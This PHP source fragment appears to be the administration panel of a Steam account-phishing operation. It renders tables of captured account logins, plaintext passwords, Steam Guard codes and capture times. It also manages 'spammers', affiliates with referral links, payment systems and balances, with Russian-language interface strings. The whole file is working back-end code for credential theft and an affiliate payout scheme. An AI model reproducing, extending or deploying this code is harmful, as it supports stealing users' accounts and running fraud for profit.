PathToTemplate = $PathToTemplate;
}
private function _generatePage($head, $content) {
$layout = file_get_contents($this->PathToTemplate . "/layout.html");
$Panel = new classPanel();
$page = str_replace
(
array("%head%", "%admin_login%", "%content%"),
array($head, $Panel->s_GetAdminLogin(), $content),
$layout
);
return $page;
}
public function GenerateIndex(){
$head =
"
";
$content = file_get_contents($this->PathToTemplate . "/pages/main.html");
$Panel = new classPanel();
if ($Panel->b_AccountsExist()) {
/*
* TABLE
*/
$table_tpl =
'
';
$row_tpl =
'
%login%
|
%password%
|
%guard%
|
%login%
|
Профиль |
%time% |
%spamer% |
|
';
$rows = "";
$accounts = $Panel->arr_GetAccounts();
for ($i = 0; $i < count($accounts); $i++) {
if ($accounts[$i]["status"] == 0) $valid = "";
else $valid = "";
$rows .= str_replace
(
array("%login%", "%password%", "%guard%", "%steamid%", "%time%", "%spamer%", "%valid%", "%id%"),
array(
$accounts[$i]["login"],
$accounts[$i]["password"],
$accounts[$i]["guard"],
$accounts[$i]["steamid"],
date("H:i", $accounts[$i]["time"]),
$accounts[$i]["spammer"],
$valid,
$accounts[$i]["id"]
),
$row_tpl
);
}
$table = str_replace("%table_content%", $rows, $table_tpl);
/*
* /TABLE
*/
$content = str_replace
(
array("%table%", "%visits%", "%total_logs%", "%total_sum%"),
array($table, $Panel->int_GetVisits(), count($accounts), $Panel->int_getTotalSum()),
$content
);
}
else {
$content = str_replace
(
array("%table%", "%visits%", "%total_logs%", "%total_sum%"),
array('Нет аккаунтов в базе
', $Panel->int_GetVisits(), count($accounts), $Panel->int_getTotalSum()),
$content
);
}
$Page = self::_generatePage($head, $content);
return $Page;
}
public function GenerateSpammers($error){
$head =
"
";
$content = file_get_contents($this->PathToTemplate . "/pages/spammers.html");
$error_notice = '
Введенный логин уже занят!
';
if ($error === 1) $content = $error_notice . $content;
$Panel = new classPanel();
if ($Panel->b_SpammersExist()) {
/*
* TABLE
*/
$table_tpl =
'
';
$row_tpl =
'
%login%
|
%password%
|
%ref-link%
|
%payment_system% |
%balance% |
|
';
$rows = "";
$spammers = $Panel->arr_GetSpammers();
for ($i = 0; $i < count($spammers); $i++) {
$rows .= str_replace
(
array("%login%", "%password%", "%ref-link%", "%payment_system%", "%balance%", "%id%"),
array(
$spammers[$i]["login"],
$spammers[$i]["password"],
$_SERVER["SERVER_NAME"] . "/?ref=" . $spammers[$i]["login"],
$spammers[$i]["payment_system"],
$spammers[$i]["balance"],
$spammers[$i]["id"]
),
$row_tpl
);
}
$table = str_replace("%table_content%", $rows, $table_tpl);
/*
* /TABLE
*/
$content = str_replace
(
array("%table%"),
array($table),
$content
);
}
else {
$content = str_replace
(
array("%table%"),
array('Нет спамеров в базе
'),
$content
);
}
$Page = self::_generatePage($head, $content);
return $Page;
}
public function GenerateSettings(){
$content = file_get_contents($this->PathToTemplate . "/pages/settings.html");
$Panel = new classPanel();
$settings = $Panel->arr_GetSettings();
$settings_content = "";
foreach ($settings as $key => $setting) {
if ($setting["name"] == "visits") continue;
$settings_content .= '
';
}
$content = str_replace("%settings_content%", $settings_content, $content);
$Page = self::_generatePage("", $content);
return $Page;
}
public function GenerateAuth(){
$Page = file_get_contents($this->PathToTemplate . "/pages/auth.html");
return $Page;
}
}
?>